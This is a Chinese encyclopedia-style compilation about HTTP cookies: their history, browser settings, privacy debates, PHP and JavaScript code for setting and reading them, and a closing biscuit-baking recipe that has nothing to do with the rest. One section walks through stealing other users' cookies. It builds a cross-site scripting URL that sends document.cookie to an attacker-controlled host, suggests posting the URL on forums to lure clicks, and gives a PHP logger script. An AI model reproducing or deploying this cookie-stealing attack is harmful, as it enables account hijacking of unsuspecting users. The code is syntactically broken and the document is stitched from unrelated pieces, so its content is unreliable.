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  另请参阅Cookies。
  Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。Cookie最早是网景公司的前雇员Lou Montulli在1993年3月的发明。
  Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等。

用途
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  服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
  使用和禁用Cookie
  用户可以改变浏览器的设置,以使用或者禁用Cookies。
  微软 Internet Explorer
  工具 > Internet选项 > 隐私页
  调节滑块或者点击“高级”,进行设置.
  Mozilla Firefox
  工具 > 选项 > 隐私
  (注: 在Linux版本中,可能会是如下操作:编辑 > 属性 > 隐私 , 而Mac则是:Firefox > 属性 > 隐私)
  设置Cookies选项
  设定阻止/允许的各个域内Cookie
  查看Cookies管理窗口,检查现存Cookie信息,选择删除或者阻止它们
  苹果计算机 Safari
  Safari > 预置 > 安全标签
  选择以下的选项
  总是 接受 Cookies
  永不 接受 Cookies
  接受 Cookies 仅从您浏览的站点 (例如,不接受来自其它站点的广告) 预设的选项.
  您可以显示所有驻留在您浏览器中的 cookies,也可随时将它们之一删除。
  NETSCAPE
  “PREFERENCE\ADVANCED\COOKIES”,在出现的窗口中有三个选项,选择“DISABLECOOKIES”即可关闭COOKIE。在IE中,选择“查看”/“INTERNET选项”/“高级",在随后出现的窗口中找到“COOKIES”一项,选择“禁止所有的COOKIE 使用”可关闭COOKIE。
  Konqueror
  如果没有设置cookie列表,请记住在域名前面加入“.”,例如.baidu.org,否则百度将不会读取cookie(针对KDE 3.3)。

生存周期
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  Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了(当然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样可以有效保护个人隐私。

识别功能
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  如果在一台计算机中安装多个浏览器,每个浏览器都会在各自独立的空间存放cookie。因为cookie中不但可以确认用户,还能包含计算机和浏览器的信息,所以一个用户用不同的浏览器登录或者用不同的计算机登录,都会得到不同的cookie信息,另一方面,对于在同一台计算机上使用同一浏览器的多用户群,cookie不会区分他们的身份,除非他们使用不同的用户名登录。
  反对cookies者
  一些人反对cookie在网络中的应用,他们的理由如下:
  识别不精确
  参见上面的识别功能
  隐私,安全和广告
  Cookies在某种程度上说已经严重危及用户的隐私和安全。其中的一种方法是:一些公司的高层人员为了某种目的(譬如市场调研)而访问了从未去过的网站(通过搜索引擎查到的),而这些网站包含了一种叫做网页臭虫的图片,该图片透明,且只有一个象素大小(以便隐藏),它们的作用是将所有访问过此页面的计算机写入cookie。而后,电子商务网站将读取这些cookie信息,并寻找写入这些cookie的网站,随即发送包含了针对这个网站的相关产品广告的垃圾邮件给这些高级人员。
  因为更具有针对性,使得这套系统行之有效,收到邮件的客户或多或少表现出对产品的兴趣。这些站点一旦写入cookie并使其运作,就可以从电子商务网站那里获得报酬,以维系网站的生存。
  鉴于隐藏的危害性,瑞典已经通过对cookie立法,要求利用cookie的网站必须说明cookie的属性,并且指导用户如何禁用cookie。

偷窃cookie和脚本攻击
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  尽管cookie没有病毒那么危险,但它仍包含了一些敏感信息:用户名,计算机名,使用的浏览器和曾经访问的网站。用户不希望这些内容泄漏出去,尤其是当其中还包含有私人信息的时候。
  这并非危言耸听,一种名为Cross site scripting的工具可以达到此目的。在受到Cross site scripting攻击时,cookie盗贼和cookie毒药将窃取内容。一旦cookie落入攻击者手中,它将会重现其价值。
  cookie盗贼:搜集用户cookie并发给攻击者的黑客。攻击者将利用cookie信息通过合法手段进入用户帐户。
  cookie毒药:利用安全机制,攻击者加入代码从而改写cookie内容,以便持续攻击。

cookies的替代品
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  鉴于cookie的局限和反对者的声音,有如下一些替代方法:
  Brownie方案,是一项开放源代码工程,由SourceForge发起。Brownie曾被用以共享在不同域中的接入,而cookies则被构想成单一域中的接入。这项方案已经停止开发。
  P3P,用以让用户获得更多控制个人隐私权利的协议。在浏览网站时,它类似于cookie。
  在与服务器传输数据时,通过在地址后面添加唯一查询串,让服务器识别是否合法用户,也可以避免使用cookie。

cookie的具体含义
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  cookie 历来指就着牛奶一起吃的点心。然而,在因特网内,“cookie”这个字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项(如样式表)。Cookie 是个存储在浏览器目录的文本文件,当浏览器运行时,存储在 RAM 中。一旦阁下从该网站或网络服务器退出,Cookie 也可存储在计算机的硬驱上。I3I.net的打算是,当访客结束其浏览器对话时,即终止I3I.net的所有 cookie。
  Cookie 有哪些用途?
  Cookie 的用途之一是存储用户在特定网站上的密码和 ID。另外,也用于存储起始页的首选项。在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。这样,每次阁下登录该网站时,阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项(cookie)。如果有的话,浏览器将此 cookie 随阁下对网页的请求一起发送给服务器。Microsoft 和 Netscape 使用 cookie 在其网站上创建个人起始页。各家公司利用 cookie 的一般用途包括:在线定货系统、网站个人化和网站跟踪。
  网站个人化是 cookie 最有益的用途之一。例如,当谁来到 CNN 网站,但并不想查看任何商务新闻。网站允许他将该项选为选项。从那时起(或者直到 cookie 逾期),他在访问 CNN 网页时将不会读到商务新闻。
  这些 Cookie 是如何起作用的?
  文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie。以下是用来设置 cookie 脚本的一个普通实例。
  Set-Cookie: name = VALUE;
  expires = DATE;
  path = PATH;
  domain = DOMAIN_NAME;
  那么安全性如何?HTTP Cookie 不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息;然而,HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处。不使用 cookie 就很难进行网站跟踪。
  至于其他一切与因特网有关的事,如同阁下所希望的那样是匿名的。没有网站知道阁下是谁,除非阁下自己透露给网站。同时,cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
  如果网站设计师旨在使网页能与访客更具互动作用,或者若设计师计划让访客自定义网站的外观,则就需要使用 cookie。而且,如果阁下想要网站在某些情况下改变其外观,cookie 则提供了一条快速、容易的途径,让阁下的 HTML 页面按需要而改变。最新型的服务器使用 cookie 有助于数据库的互动性,进而改进网站的整体互动性。
  Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!
  一.了解Cookie 适用对象:初级读者
  Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。
  为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。
  Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据
  二、Cookie的传递流程 适用对象:中级读者
  当在浏览器地址栏中键入了Amazon的URL,浏览器会向Amazon发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。
  Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
  三、Cookie的编程实现 适用对象:高级读者
  多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
  该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。
  1.分析并构造URL
  首先打开我们要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login....x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造URL:“http://www.cbifamily.org/cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ;... swd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。
  2.编制PHP脚本
  该脚本的作用就是收集Cookie文件,具体内容如下:
  $info = getenv("QUERY_STRING";
  if ($info) {
  $fp = fopen("info.txt","a";
  fwrite($fp,$info."\n";
  fclose($fp);
  }
  header("Location: http://www.XXX.net\";
  ?>
  四、Cookie的安全问题 适用对象:所有希望上网安全的读者
  1.Cookie欺骗
  Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。
  2.Flash的代码隐患
  Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。

cookie是怎样工作的?
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  要了解Cookie,必不可少地要知道它的工作原理。一般来说,Cookie通过HTTP Headers从服务器端返回
  到浏览器上。首先,服务器端在响应中利用Set-Cookie header来创建一个Cookie ,然后,浏览器在它的请
  求中通过Cookie header包含这个已经创建的Cookie,并且反它返回至服务器,从而完成浏览器的论证。
  例如,我们创建了一个名字为login的Cookie来包含访问者的信息,创建Cookie时,服务器端的Header
  如下面所示,这里假设访问者的注册名是“Michael Jordan”,同时还对所创建的Cookie的属性如path、
  domain、expires等进行了指定。
  Set-Cookie:login=Michael Jordan;path=/;domain=msn.com;
  expires=Monday,01-Mar-99 00:00:01 GMT
  上面这个Header会自动在浏览器端计算机的Cookie文件中添加一条记录。浏览器将变量名为“login”
  的Cookie赋值为“Michael Jordon”。注意,在实际传递过程中这个Cookie的值是经过了URLEncode方法的
  URL编码操作的。 这个含有Cookie值的HTTP Header被保存到浏览器的Cookie文件后,Header就通知浏览器
  将Cookie通过请求以忽略路径的方式返回到服务器,完成浏览器的认证操作。
  此外,我们使用了Cookie的一些属性来限定该Cookie的使用。例如Domain属性能够在浏览器端对Cookie
  发送进行限定,具体到上面的例子,该Cookie只能传达室到指定的服务器上,而决不会跑到其他的如
  www.hp.com的Web站点上去。Expires属性则指定了该Cookie保存的时间期限,例如上面的Cookie在浏览器上
  只保存到1999年3月1日1秒。当然,如果浏览器上Cookie 太多,超过了系统所允许的范围,浏览器将自动对
  它进行删除。至于属性Path,用来指定Cookie将被发送到服务器的哪一个目录路径下。
  说明:浏览器创建了一个Cookie后,对于每一个针对该网站的请求,都会在Header中带着这个Cookie;
  不过,对于其他网站的请求Cookie是绝对不会跟着发送的。而且浏览器会这样一直发送,直到Cookie过期为止。
  上一部分讲了有关Cookie的技术背景,这部分来说说在PHP里如何设置、使用、删除Cookie,及Cookie
  的一些限制。PHP对Cookie支持是透明的,用起来非常方便。

设置cookie
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  PHP用SetCookie函数来设置Cookie。必须注意的一点是:Cookie是HTTP协议头的一部分,用于浏览器和
  服务器之间传递信息,所以必须在任何属于HTML文件本身的内容输出之前调用Cookie函数。SetCookie 函数
  定义了一个Cookie,并且把它附加在HTTP头的后面,SetCookie函数的原型如下:
  int SetCookie(string name, string value, int expire, string path, string domain, int secure);
  除了name之外所有的参数都是可选的。value,path,domain 三个参数可以用空字符串代换,表示没有设
  置;expire和 secure两个参数是数值型的,可以用0表示。expire参数是一个标准的Unix时间标记,可以用
  time()或mktime() 函数取得,以秒为单位。secure参数表示这个Cookie是否通过加密的HTTPS协议在网络上
  传输。
  当前设置的Cookie 不是立即生效的,而是要等到下一个页面时才能看到.这是由于在设置的这个页面里
  Cookie由服务器传递给客户浏览器,在下一个页面浏览器才能把Cookie从客户的机器里取出传回服务器的原
  因。在同一个页面设置Cookie,实际是从后往前,所以如果要在插入一个新的Cookie之前删掉一个,你必须
  先写插入的语句,再写删除的语句,否则可能会出现不希望的结果。
  来看几个例子:
  简单的:
  SetCookie("MyCookie", "Value of MyCookie");
  带失效时间的:
  SetCookie("WithExpire", "Expire in 1 hour", time()+3600);//3600秒=1小时
  什么都有的:
  SetCookie("FullCookie", "Full cookie value", time()+3600, "/forum", ".phpuser.com", 1);
  这里还有一点要说明的,比如你的站点有几个不同的目录,那么如果只用不带路径的Cookie的话,在一
  个目录下的页面里设的Cookie在另一个目录的页面里是看不到的,也就是说,Cookie是面向路径的。实际上,
  即使没有指定路径,WEB 服务器会自动传递当前的路径给浏览器的,指定路径会强制服务器使用设置的路径。
  解决这个问题的办法是在调用SetCookie时加上路径和域名,域名的格式可以是“www.phpuser.com”,也可
  是“.phpuser.com”。
  SetCookie函数里表示value的部分,在传递时会自动被encode,也就是说,如果value的值是“test
  value”在传递时就变成了“test%20value”,跟URL的方法一样。当然,对于程序来说这是透明的,因为在
  PHP接收Cookie的值时会自动将其decode。
  如果要设置同名的多个Cookie,要用数组,方法是:
  SetCookie("CookieArray[]", "Value 1");
  SetCookie("CookieArray[]", "Value 2");
  或
  SetCookie("CookieArray[0]", "Value 1");
  SetCookie("CookieArray[1]", "Value 2");
  接收和处理Cookie
  PHP对Cookie的接收和处理的支持非常好,是完全自动的,跟FORM变量的原则一样,特别简单。比如设
  置一个名为MyCookier的Cookie,PHP会自动从WEB服务器接收的HTTP头里把它分析出来,并形成一个与普通
  变量一样的变量,名为$myCookie,这个变量的值就是Cookie的值。数组同样适用。另外一个办法是引用PHP
  的全局变量$HTTP_COOKIE_VARS数组。
  分别举例如下:(假设这些都在以前的页面里设置过了,并且仍然有效)
  echo $MyCookie;
  echo $CookieArray[0];
  echo count($CookieArray);
  echo $HTTP_COOKIE_VARS["MyCookie"];
  就这么简单。

如何删除cookie
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  要删除一个已经存在的Cookie,有三个办法:
  一是调用只带有name参数的SetCookie,那么名为这个name的Cookie 将被从关系户机上删掉;另一个办
  法是设置Cookie的失效时间为time()或time()-1,那么这个Cookie在这个页面的浏览完之后就被删除了(其
  实是失效了)。
  要注意的是,当一个Cookie被删除时,它的值在当前页在仍然有效的。
  右键单击Cookie文件夹——属性——高级——去掉所有的对好——确定——应用为——确定。
  这样就可以不在Cookiel里储存文件了
  第三个是*(vista中):在桌面按F1,弹出帮助, 输入cookie,选择 删除Internet cookie,弹出 "Internet 选项",在 浏览记录 一栏里选择 “删除”,然后弹出删除的内容(包括临时文件,表单记录等),选择 删除cookie,即可。
  此法,适用于各种浏览器,包括360,遨游,闪游,火狐,世界之窗等。

javascript 读cookie
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  /**************************************************
  参数说明:
  sMainName Cookie名
  sSubName Cookie子键名,留空表示单值Cookie
  **************************************************/
  function GetCookie(sMainName, sSubName)
  {
  var re = new RegExp((sSubName ? sMainName + "=(.*?&)*?" + sSubName + "=(.*?)(&|;|$)" : sMainName + "=(.*?);"),"i");
  return re.test(unescape(document.cookie)) ? (sSubName ? RegExp["$2"] : RegExp["$1"]) : "";
  }
  由于asp的cookie是经过url编码的,所以读之前要unescape一下。

cookie(又名)小甜饼
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  酥性甜饼干是一般中档配料的产品,生产酥性饼干所用砂糖和油脂量要比韧性饼干多一些,标准配比是油∶糖=1∶2,油+糖∶面粉=1∶2。生产这种饼干的面团弹性小,可塑性较大,口味较韧性饼干酥松。表面通常由凸起的条纹组成花纹图案,整个平面无针孔。该产品主要作点心食用。
  原料配方 面粉100公斤 砂糖32~34公斤 油脂14~16公斤 饴糖3~4公斤 奶粉(或鸡蛋)5公斤左右,碳酸氢钠0.5~0.6公斤 碳酸氢铵0.15~0.3公斤 浓缩卵磷脂1公斤 香料适量
  制作方法 1.调粉:酥性面团的配料次序对调粉操作和产品质量有很大影响,通常采用的程序如下:
  卵磷脂 碳酸氢
  ↓ ↓
  糖酱→油脂→饴糖→鸡蛋→水溶液←碳酸氢铵
  ↓
  调粉←筛入奶料←筛入面粉←混 合
  (1~2分钟)
  调粉操作要遵循造成面筋有限胀润的原则,因此面团加水量不能太多,亦不能在调粉开始以后再随便加水,否则易造成面筋过量胀润,影响质量。面团温度应在25~30℃之间,在卧式调粉机中约调5~10分钟左右。
  2.静置:调酥性面团并不一定要采取静置措施,但当面团粘性过大,胀润度不足,影响操作时,需静置10~15分钟。
  3.压面:现今酥性面团已不采用辊轧工艺,但是,当面团结合力过小,不能顺利操作时,采用辊轧的办法,可以得到改善。
  4.成型:酥性面团可用冲印或辊切等成型方法,模型宜采用无针孔的阴文图案花纹。在成型前皮子的压延比不要超过4∶1。比例过大易造成皮子表面不光、粘辊筒、饼干僵硬等弊病。
  5.烘烤:酥性饼干易脱水,易着色,采用高温烘烤,在300℃条件下约烘3.5~4.5分钟。
  6.冷却:在自然冷却的条件下,如室温为25℃左右,经过5分钟以上的冷却,饼干温度可下降到45℃以下,基本符合包装要求。

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